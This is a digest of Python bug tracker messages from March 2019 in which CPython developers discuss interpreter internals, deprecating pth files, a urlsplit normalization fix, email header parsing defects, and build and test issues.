To use more efficient bytecode without modying the Python semantics, you need to deoptimize if print() is replaced. I implemented that in my old FAT Python project :-)
https://fatoptimizer.readthedocs.io/en/latest/optimizations.html#call-pure

--

I would be more interested by a tool to update/regenerate M___hello__ in Python/frozen.c.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue11614>
_______________________________________

From report at bugs.python.org  Thu Mar  7 06:41:15 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 07 Mar 2019 11:41:15 +0000
Subject: [issue36139] release GIL on mmap dealloc
In-Reply-To: <1551290441.84.0.237778309898.issue36139@roundup.psfhosted.org>
Message-ID: <1551958875.34.0.665068459781.issue36139@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

4th attempt (sorry for the spam, it's just to check the Roundup fix!):
https://github.com/python/cpython/pull/12073/files#r263026496

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36139>
_______________________________________

From report at bugs.python.org  Thu Mar  7 06:41:30 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 07 Mar 2019 11:41:30 +0000
Subject: [issue36139] release GIL on mmap dealloc
In-Reply-To: <1551290441.84.0.237778309898.issue36139@roundup.psfhosted.org>
Message-ID: <1551958890.88.0.510660964771.issue36139@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Yeah! Roundup is fixed, thanks Ezio!

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36139>
_______________________________________

From report at bugs.python.org  Thu Mar  7 06:42:36 2019
From: report at bugs.python.org (Pablo Galindo Salgado)
Date: Thu, 07 Mar 2019 11:42:36 +0000
Subject: [issue11614] import __hello__ is broken in Python 3
In-Reply-To: <1300634112.35.0.363135641538.issue11614@psf.upfronthosting.co.za>
Message-ID: <1551958956.75.0.94225425084.issue11614@roundup.psfhosted.org>


Change by Pablo Galindo Salgado <pablogsal at gmail.com>:


----------
nosy: +pablogsal

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue11614>
_______________________________________

From report at bugs.python.org  Thu Mar  7 06:45:06 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 07 Mar 2019 11:45:06 +0000
Subject: [issue36220] LOAD_NAME and LOAD_GLOBAL handle dict subclasses for
 globals() differently
In-Reply-To: <1551930086.95.0.70586200648.issue36220@roundup.psfhosted.org>
Message-ID: <1551959106.35.0.820334280647.issue36220@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

I wrote bpo-14385 when I was working on my PEP 410. The PEP has been rejected, I'm not sure anymore that it was a good idea to modify ceval.c :-( But I never tried to measure the overhead of the additional "if (PyDict_CheckExact(...))".

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36220>
_______________________________________

From report at bugs.python.org  Thu Mar  7 06:45:36 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 07 Mar 2019 11:45:36 +0000
Subject: [issue36220] LOAD_NAME and LOAD_GLOBAL handle dict subclasses for
 globals() differently
In-Reply-To: <1551930086.95.0.70586200648.issue36220@roundup.psfhosted.org>
Message-ID: <1551959136.79.0.133059541211.issue36220@roundup.psfhosted.org>


STINNER Victor <vstinner at redhat.com> added the comment:

Oops sorry, it was the PEP 416: Add a frozendict builtin type. I wanted to write a sandbox for Python.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36220>
_______________________________________

From report at bugs.python.org  Thu Mar  7 07:05:32 2019
From: report at bugs.python.org (Solomon Ucko)
Date: Thu, 07 Mar 2019 12:05:32 +0000
Subject: [issue11614] import __hello__ is broken in Python 3
In-Reply-To: <1300634112.35.0.363135641538.issue11614@psf.upfronthosting.co.za>
Message-ID: <1551960332.38.0.350452537261.issue11614@roundup.psfhosted.org>


Solomon Ucko <solly.ucko at gmail.com> added the comment:

> It changes the semantics of Python.

When would the return value actually matter? Would it affect the value of the variable `__hello__`?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue11614>
_______________________________________

From report at bugs.python.org  Thu Mar  7 08:17:43 2019
From: report at bugs.python.org (Nick Coghlan)
Date: Thu, 07 Mar 2019 13:17:43 +0000
Subject: [issue36225] Lingering subinterpreters should be implicitly cleared
 on shutdown
Message-ID: <1551964663.69.0.686712846789.issue36225@roundup.psfhosted.org>


New submission from Nick Coghlan <ncoghlan at gmail.com>:

https://docs.python.org/3/c-api/init.html#c.Py_EndInterpreter states that "Py_FinalizeEx() will destroy all sub-interpreters that haven?t been explicitly destroyed at that point."

As discussed in https://github.com/hexchat/hexchat/issues/2237, Python 3.7+ doesn't currently do that - it calls Py_FatalError instead.

That change came from https://github.com/python/cpython/pull/1728, which was based on my initial PEP 432 refactoring work, and I didn't realise that implicitly cleaning up lingering subinterpreters was a documented behaviour.

So I think we should just fix it to behave as documented, and add a new regression test to make sure it doesn't get broken again in the future.

----------
keywords: 3.7regression
messages: 337392
nosy: eric.snow, ncoghlan, petr.viktorin
priority: normal
severity: normal
stage: needs patch
status: open
title: Lingering subinterpreters should be implicitly cleared on shutdown
type: crash
versions: Python 3.7, Python 3.8

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36225>
_______________________________________

From report at bugs.python.org  Thu Mar  7 08:30:30 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 07 Mar 2019 13:30:30 +0000
Subject: [issue32856] Optimize the `for y in [x]` idiom in comprehensions
In-Reply-To: <1518770483.24.0.467229070634.issue32856@psf.upfronthosting.co.za>
Message-ID: <1551965430.22.0.856202386539.issue32856@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

Closed in favor of PEP 572.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32856>
_______________________________________

From report at bugs.python.org  Thu Mar  7 08:38:38 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 07 Mar 2019 13:38:38 +0000
Subject: [issue32856] Optimize the `for y in [x]` idiom in comprehensions
In-Reply-To: <1518770483.24.0.467229070634.issue32856@psf.upfronthosting.co.za>
Message-ID: <1551965918.67.0.11957812915.issue32856@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution:  -> fixed
stage: patch review -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32856>
_______________________________________

From report at bugs.python.org  Thu Mar  7 08:39:11 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 07 Mar 2019 13:39:11 +0000
Subject: [issue32856] Optimize the `for y in [x]` idiom in comprehensions
In-Reply-To: <1518770483.24.0.467229070634.issue32856@psf.upfronthosting.co.za>
Message-ID: <1551965951.15.0.235388232688.issue32856@roundup.psfhosted.org>


Change by Serhiy Storchaka <storchaka+cpython at gmail.com>:


----------
resolution: fixed -> rejected

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32856>
_______________________________________

From report at bugs.python.org  Thu Mar  7 09:04:03 2019
From: report at bugs.python.org (Ned Deily)
Date: Thu, 07 Mar 2019 14:04:03 +0000
Subject: [issue36224] Python quit unexpectedly error
In-Reply-To: <1551964039.54.0.549663793751.issue36224@roundup.psfhosted.org>
Message-ID: <1551967443.36.0.841586225399.issue36224@roundup.psfhosted.org>


Ned Deily <nad at python.org> added the comment:

Based on the macOS traceback you provide, this is a very different problem from the one in the other issue. Here the crash is occuring in a third-party C extension module, not something provided by Python or its standard library:

0  algos.cpython-37m-darwin.so   	0x00000001132d2520 __pyx_pf_6pandas_5_libs_5algos_600__defaults__ + 32

I?m not familiar with that name but it suggests that it is part of the pandas package. Further, the path name for the interpreter suggests you are using a Python installed from the Homebrew project. I suggest you ask on either or both of pandas and Homebrew support forums.  If the problem can be isolated to a problem within Python itself, please reopen this issue with updated information. Good luck!

----------
resolution:  -> third party
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36224>
_______________________________________

From report at bugs.python.org  Thu Mar  7 09:17:18 2019
From: report at bugs.python.org (Joannah Nanjekye)
Date: Thu, 07 Mar 2019 14:17:18 +0000
Subject: [issue36225] Lingering subinterpreters should be implicitly cleared
 on shutdown
In-Reply-To: <1551964663.69.0.686712846789.issue36225@roundup.psfhosted.org>
Message-ID: <1551968238.56.0.815105510078.issue36225@roundup.psfhosted.org>


Change by Joannah Nanjekye <nanjekyejoannah at gmail.com>:


----------
nosy: +nanjekyejoannah

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36225>
_______________________________________

From report at bugs.python.org  Thu Mar  7 09:26:52 2019
From: report at bugs.python.org (STINNER Victor)
Date: Thu, 07 Mar 2019 14:26:52 +0000
Subject: [issue26470] Make OpenSSL module compatible with OpenSSL 1.1.0
In-Reply-To: <1456920893.87.0.933592382559.issue26470@psf.upfronthosting.co.za>
Message-ID: <1551968812.43.0.210393589915.issue26470@roundup.psfhosted.org>


Change by STINNER Victor <vstinner at redhat.com>:


----------
pull_requests: +12202

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue26470>
_______________________________________

From report at bugs.python.org  Thu Mar  7 10:31:17 2019
From: report at bugs.python.org (Christian Schmidbauer)
Date: Thu, 07 Mar 2019 15:31:17 +0000
Subject: [issue36226] multipart/related header causes false positive
 StartBoundaryNotFoundDefect and MultipartInvariantViolationDefect
Message-ID: <1551972677.41.0.0937724546543.issue36226@roundup.psfhosted.org>


New submission from Christian Schmidbauer <cschmidbauer at genesiscloud.com>:

The current implementation of `multipart/related` in urllib triggers header defects even though the headers are valid:
`[StartBoundaryNotFoundDefect(), MultipartInvariantViolationDefect()]`

The example header is valid according to RFC 2387 (https://tools.ietf.org/html/rfc2387):
```
Content-Type: multipart/related; boundary="==="

```

Both defects are triggered by the fact that httplib only passes on headers to the underlying email parser, while the email parser assumes to receive a full message. The simple fix is to tell the underlying email parser that we are only passing the header: 0a89fc15c93c271eb08e46e2cda9a72adb97d633

The second issue is related, but independent: The underlying email parser checks if the parsed message is of type multipart by checking of the object "root" is of type list. As we only passed the header (and set `headersonly=True`), the check does makes no sense anymore at this point, creating a false positive: fdc7c47b77e330a36255fd00dc36accd72824e5b

----------
components: Library (Lib)
messages: 337395
nosy: Christian Schmidbauer
priority: normal
severity: normal
status: open
title: multipart/related header causes false positive StartBoundaryNotFoundDefect and MultipartInvariantViolationDefect
type: behavior
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36226>
_______________________________________

From report at bugs.python.org  Thu Mar  7 10:33:36 2019
From: report at bugs.python.org (Christian Schmidbauer)
Date: Thu, 07 Mar 2019 15:33:36 +0000
Subject: [issue36226] multipart/related header causes false positive
 StartBoundaryNotFoundDefect and MultipartInvariantViolationDefect
In-Reply-To: <1551972677.41.0.0937724546543.issue36226@roundup.psfhosted.org>
Message-ID: <1551972816.92.0.770725748878.issue36226@roundup.psfhosted.org>


Change by Christian Schmidbauer <cschmidbauer at genesiscloud.com>:


----------
hgrepos: +381

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36226>
_______________________________________

From report at bugs.python.org  Thu Mar  7 10:38:56 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 15:38:56 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1529688140.44.0.56676864532.issue33944@psf.upfronthosting.co.za>
Message-ID: <1551973136.09.0.645335062096.issue33944@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

There are two features here, let's be clear about what we're removing.

* extending sys.path with static (perhaps relative) directories
* arbitrary code execution (following "import " statements)

Only Barry wants to remove the first one, and the rest of us will push back hard enough to keep him in check ;)

Basically everyone wants to remove the second one, but we can't do that until there is replacement functionality for its legitimate use cases.

Looking at Anthony's list (and making some assumptions about what the titles mean), I'd propose that only encodings require a way to register them from an installed package. And maybe this is as simple as making "encodings" a namespace package?

For the others:

* backport, demo - no idea what these look like
* coverage, debugging, demo, except-hook - application/user responsibility, not a package's
* monkey-patching - kill it with fire
* import-hook, module-layout - easy enough to work around

(For those who are confused about the last, using a package __init__.py is how to modify these *when your package is actually loaded* and not on startup.)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 10:44:58 2019
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 07 Mar 2019 15:44:58 +0000
Subject: [issue32477] Move jumps optimization from the peepholer to the
 compiler
In-Reply-To: <1514844207.77.0.467229070634.issue32477@psf.upfronthosting.co.za>
Message-ID: <1551973498.92.0.934638258252.issue32477@roundup.psfhosted.org>


Serhiy Storchaka <storchaka+cpython at gmail.com> added the comment:

After analyzing the difference between bytecodes generated by the current peepholer and the new optimizer I have found that he peepholer do not optimizes jumps in case of some multiline expressions. For example:

[x
 for x in a if x]

  1           0 BUILD_LIST               0
              2 LOAD_FAST                0 (.0)
        >>    4 FOR_ITER                12 (to 18)

  2           6 STORE_FAST               1 (x)
              8 LOAD_FAST                1 (x)
             10 POP_JUMP_IF_FALSE       16

  1          12 LOAD_FAST                1 (x)
             14 LIST_APPEND              2
        >>   16 JUMP_ABSOLUTE            4
        >>   18 RETURN_VALUE

if x:
    if (y and
        z):
        foo()
else:
    bar()

  1           0 LOAD_NAME                0 (x)
              2 POP_JUMP_IF_FALSE       20

  2           4 LOAD_NAME                1 (y)
              6 POP_JUMP_IF_FALSE       18

  3           8 LOAD_NAME                2 (z)

  2          10 POP_JUMP_IF_FALSE       18

  4          12 LOAD_NAME                3 (foo)
             14 CALL_FUNCTION            0
             16 POP_TOP
        >>   18 JUMP_FORWARD             6 (to 26)

  6     >>   20 LOAD_NAME                4 (bar)
             22 CALL_FUNCTION            0
             24 POP_TOP
        >>   26 LOAD_CONST               0 (None)
             28 RETURN_VALUE

It preserves jumps to jump instructions. I do not know the cause. All works with single-line expressions.

The new optimizer does not have this bug.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue32477>
_______________________________________

From report at bugs.python.org  Thu Mar  7 11:02:31 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 16:02:31 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1551974551.52.0.208631267327.issue36216@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset 16e6f7dee7f02bb81aa6b385b982dcdda5b99286 by Steve Dower in branch 'master':
bpo-36216: Add check for characters in netloc that normalize to separators (GH-12201)
https://github.com/python/cpython/commit/16e6f7dee7f02bb81aa6b385b982dcdda5b99286


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Thu Mar  7 11:07:01 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 16:07:01 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1551974821.45.0.661627439471.issue36216@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
pull_requests: +12203

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Thu Mar  7 11:08:45 2019
From: report at bugs.python.org (=?utf-8?q?Ionel_Cristian_M=C4=83rie=C8=99?=)
Date: Thu, 07 Mar 2019 16:08:45 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1551973136.09.0.645335062096.issue33944@roundup.psfhosted.org>
Message-ID: <CANkHFr94+b78f7HZtbM5HBDzQw5_oNzCsNwZM2OEQDzkySJn5Q@mail.gmail.com>


Ionel Cristian M?rie? <contact at ionelmc.ro> added the comment:

> * coverage, debugging, demo, except-hook - application/user
responsibility, not a package's

Elaborate please, as it sounds like you're simply dismissing my usecase.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 11:09:12 2019
From: report at bugs.python.org (Roundup Robot)
Date: Thu, 07 Mar 2019 16:09:12 +0000
Subject: [issue36226] multipart/related header causes false positive
 StartBoundaryNotFoundDefect and MultipartInvariantViolationDefect
In-Reply-To: <1551972677.41.0.0937724546543.issue36226@roundup.psfhosted.org>
Message-ID: <1551974952.97.0.995083599645.issue36226@roundup.psfhosted.org>


Change by Roundup Robot <devnull at psf.upfronthosting.co.za>:


----------
keywords: +patch
pull_requests: +12204
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36226>
_______________________________________

From report at bugs.python.org  Thu Mar  7 11:11:00 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 16:11:00 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1551975060.05.0.325687767013.issue36216@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
pull_requests: +12205

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Thu Mar  7 11:13:44 2019
From: report at bugs.python.org (Christian Schmidbauer)
Date: Thu, 07 Mar 2019 16:13:44 +0000
Subject: [issue36226] multipart/related header causes false positive
 StartBoundaryNotFoundDefect and MultipartInvariantViolationDefect
In-Reply-To: <1551972677.41.0.0937724546543.issue36226@roundup.psfhosted.org>
Message-ID: <1551975224.07.0.0334102729071.issue36226@roundup.psfhosted.org>


Christian Schmidbauer <cschmidbauer at genesiscloud.com> added the comment:

Apologies, here are the correct commit IDs:

https://github.com/python/cpython/commit/89285439c7f94a3e62cee3d15e343218903c2af8

https://github.com/python/cpython/pull/12214/commits/a82e662ab3339072d7b86a8090989fba60ef9c37

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36226>
_______________________________________

From report at bugs.python.org  Thu Mar  7 11:29:21 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 16:29:21 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1551976161.64.0.0490197163697.issue36216@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
pull_requests: +12207

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Thu Mar  7 11:32:50 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 16:32:50 +0000
Subject: [issue36108] Avoid failing the build on race condition in clean
In-Reply-To: <1551123172.45.0.629021519376.issue36108@roundup.psfhosted.org>
Message-ID: <1551976370.71.0.699821578934.issue36108@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
keywords: +patch
pull_requests: +12208
stage:  -> patch review

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36108>
_______________________________________

From report at bugs.python.org  Thu Mar  7 11:34:40 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 16:34:40 +0000
Subject: [issue36108] Avoid failing the build on race condition in clean
In-Reply-To: <1551123172.45.0.629021519376.issue36108@roundup.psfhosted.org>
Message-ID: <1551976480.16.0.627284068092.issue36108@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36108>
_______________________________________

From report at bugs.python.org  Thu Mar  7 11:35:49 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 16:35:49 +0000
Subject: [issue10009] Automated MSI installation does not work
In-Reply-To: <1285963909.15.0.466947839123.issue10009@psf.upfronthosting.co.za>
Message-ID: <1551976549.82.0.390350087966.issue10009@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue10009>
_______________________________________

From report at bugs.python.org  Thu Mar  7 11:38:45 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 16:38:45 +0000
Subject: [issue35978] test_venv fails in Travis with GCC
In-Reply-To: <1549993072.6.0.794740252515.issue35978@roundup.psfhosted.org>
Message-ID: <1551976725.8.0.0108285651506.issue35978@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

I guess we need a "skipInLinuxVenv", since it works fine on Windows :)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35978>
_______________________________________

From report at bugs.python.org  Thu Mar  7 11:39:34 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 16:39:34 +0000
Subject: [issue35740] openssl version 1.1.1 need to be there in
 cpython-source-deps for windows ARM64
In-Reply-To: <1547538324.61.0.844550645044.issue35740@roundup.psfhosted.org>
Message-ID: <1551976774.25.0.690551178741.issue35740@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

It's there now (and about to move to 1.1.1b :) )

----------
resolution:  -> fixed
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35740>
_______________________________________

From report at bugs.python.org  Thu Mar  7 11:42:20 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 16:42:20 +0000
Subject: [issue36086] Split IDLE into separate feature in Windows installer
In-Reply-To: <1550883782.51.0.779365974532.issue36086@roundup.psfhosted.org>
Message-ID: <1551976940.8.0.517338083093.issue36086@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

For the dependency you'll need to modify the bootstrapper to manually enforce checkbox selection. It'll also need to force the variable at planning time to support command line installs, so the checkbox is really just to help prevent users from becoming confused, but we'll want both.

IIRC, there's already something along those lines in there for another component (maybe file associations requiring the launcher?), so you can copy from that.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36086>
_______________________________________

From report at bugs.python.org  Thu Mar  7 11:43:02 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 16:43:02 +0000
Subject: [issue24322] Hundreds of linker warnings on Windows
In-Reply-To: <1432892603.92.0.682917004344.issue24322@psf.upfronthosting.co.za>
Message-ID: <1551976982.58.0.258972156852.issue24322@roundup.psfhosted.org>


Change by Steve Dower <steve.dower at python.org>:


----------
resolution:  -> out of date
stage:  -> resolved
status: open -> closed

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue24322>
_______________________________________

From report at bugs.python.org  Thu Mar  7 11:51:20 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 16:51:20 +0000
Subject: [issue33898] pathlib issues with Windows device paths
In-Reply-To: <1529361630.0.0.56676864532.issue33898@psf.upfronthosting.co.za>
Message-ID: <1551977480.6.0.92409074992.issue33898@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Eryk - I've got the PR ready as far as I'm concerned. Have you had a look to see if you're happy with its logic for these cases?

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33898>
_______________________________________

From report at bugs.python.org  Thu Mar  7 11:57:15 2019
From: report at bugs.python.org (Anthony Sottile)
Date: Thu, 07 Mar 2019 16:57:15 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1529688140.44.0.56676864532.issue33944@psf.upfronthosting.co.za>
Message-ID: <1551977835.39.0.108019477092.issue33944@roundup.psfhosted.org>


Anthony Sottile <asottile at umich.edu> added the comment:

I think nearly all of the use cases in the packages are valid (except module-layout) -- or at least if this feature were removed without having a startup-time site-packages code execution feature there would be no possible replacement.  I'll elaborate a little more on the titles I've chosen:

* backport: provide features that are not available to that python version, but were ratified peps in later versions.  These necessarily must happen at startup as to affect the application being used
* demo: these are fine to ignore, the two packages that were classified here were merely demoing how to use `.pth` files can be packaged with setuptools
* coverage: almost all of these were "automatically instrument coverage in subprocesses under test", basically the need to enable coverage tracing in subprocesses triggered by the application under test.  It is not possible to do this in any other way than an initialization hook in the interpreter (or monkeypatching the subprocess module, which I'd argue is significantly worse than what this is doing)
* debugging: these provide additional introspection tools to analyze an application, these also need to be interpreter level as you cannot customize code outside of your control but may need to debug such code.
* except-hook: these also seem necessary as well, from the few I looked into more detail they seemed to be setting hooks such that $foreign-application could be used within another framework -- looking very similar to ubuntu's `sitecustomize.py` which sends traces to apport on crash (bug reporting for python-based packages).  If you had ownership of this application sure you could add an except hook, but these seem t be for cases where you do not control the application
* monkeypatch: I don't think we should be so swift to banish this category, sure the name is scary but there were many legitimate cases here.  Many of these were to patch limitations in packages outside of control (dead, no longer accepting patches, not willing to support other platforms, etc.).  the patches necessarily happen at startup because there's no other place to influence the code of these third party tools.  Don't get me wrong, monkeypatching is usually bad, but I don't think there would be an alternative to how these tools function if this feature were removed.
* import-hook: I also don't see an easy way to work around these, most of these added alternate filetypes that python could import, but you need *something* to make importing work in the first place


> Basically everyone wants to remove the second one, but we can't do that until there is replacement functionality for its legitimate use cases.

Without a poll I don't think assuming a majority is fair ;)

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 11:57:25 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 16:57:25 +0000
Subject: [issue35978] test_venv fails in Travis with GCC
In-Reply-To: <1549993072.6.0.794740252515.issue35978@roundup.psfhosted.org>
Message-ID: <1551977845.64.0.78674853269.issue35978@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

I'm on this. I'll make a new (or possibly complete replacement) for @skipInVenv that is @requireVenvCreate, since that's the common piece that doesn't work in a venv (except on Windows).

----------
assignee:  -> steve.dower
versions: +Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue35978>
_______________________________________

From report at bugs.python.org  Thu Mar  7 11:59:53 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 16:59:53 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1529688140.44.0.56676864532.issue33944@psf.upfronthosting.co.za>
Message-ID: <1551977993.93.0.074502868415.issue33944@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

> Elaborate please, as it sounds like you're simply dismissing my usecase.

I'm suggesting that to enable this functionality at startup, the user/application should have to do something like executing code or setting PYTHONSTARTUP.

What I'm dismissing is that "pip install some-package" can define a global startup task for your interpreter. I shouldn't get debugging or code coverage enabled every time I run "python" just because I installed some package - I should have to start that package somehow.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 12:02:28 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 17:02:28 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1529688140.44.0.56676864532.issue33944@psf.upfronthosting.co.za>
Message-ID: <1551978148.32.0.544697179045.issue33944@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

> I don't think there would be an alternative to how these tools function if this feature were removed.

Right now, maybe, which is why we haven't just removed it :)

The point of the discussion is to say "this functionality is irreplaceable so we need to design a replacement". If a package can't do monkeypatching when imported for some reason, we should explore what those reasons are and provide a supported way to achieve their goals (or document the existing ways).

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 12:06:23 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 17:06:23 +0000
Subject: [issue33944] Deprecate and remove pth files
In-Reply-To: <1529688140.44.0.56676864532.issue33944@psf.upfronthosting.co.za>
Message-ID: <1551978383.93.0.210745815897.issue33944@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:

Here's a trivial workaround for the import hook problem:

Assume we have "my_module.foo", and the import hook enables importing foo files.

Instead of just shipping "my_module.foo", you ship "my_module.py" and "_my_module.foo", where "my_module.py" looks like:

    import my_import_hook
    my_import_hook.install()

    from _my_module import *

This really isn't hard to do. As a bonus, you don't even need a full import hook anymore - you can use any kind of loader you want. And it should be fully backwards compatible (assuming special tricks weren't part of your public API), so your users won't even notice the upgrade.

----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue33944>
_______________________________________

From report at bugs.python.org  Thu Mar  7 12:08:33 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 17:08:33 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
Message-ID: <1551978513.49.0.236473183261.issue36216@roundup.psfhosted.org>


Steve Dower <steve.dower at python.org> added the comment:


New changeset daad2c482c91de32d8305abbccc76a5de8b3a8be by Steve Dower in branch '3.7':
bpo-36216: Add check for characters in netloc that normalize to separators (GH-12201)
https://github.com/python/cpython/commit/daad2c482c91de32d8305abbccc76a5de8b3a8be


----------

_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue36216>
_______________________________________

From report at bugs.python.org  Thu Mar  7 12:08:47 2019
From: report at bugs.python.org (Steve Dower)
Date: Thu, 07 Mar 2019 17:08:47 +0000
Subject: [issue36216] urlsplit does not handle NFKC normalization
In-Reply-To: <1551893840.49.0.433864450493.issue36216@roundup.psfhosted.org>
